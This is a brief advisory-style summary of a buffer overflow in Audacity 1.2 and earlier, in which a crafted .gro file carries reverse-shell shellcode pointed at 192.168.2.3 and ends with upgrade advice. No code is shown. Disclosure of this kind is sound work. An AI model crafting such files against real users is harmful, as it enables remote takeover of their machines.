Audacity <= 1.2 .gro universal buffer overflow exploit

This exploit is a buffer overflow vulnerability in Audacity <= 1.2. It allows an attacker to execute arbitrary code on the target system by sending a malicious .gro file. The exploit code creates a malicious .gro file with a reverse shellcode to 192.168.2.3. When the file is opened, the shellcode is executed and a reverse shell is established.

Mitigation:

Audacity 1.2.1 and later versions are not vulnerable to this exploit. Users should upgrade to the latest version of Audacity.
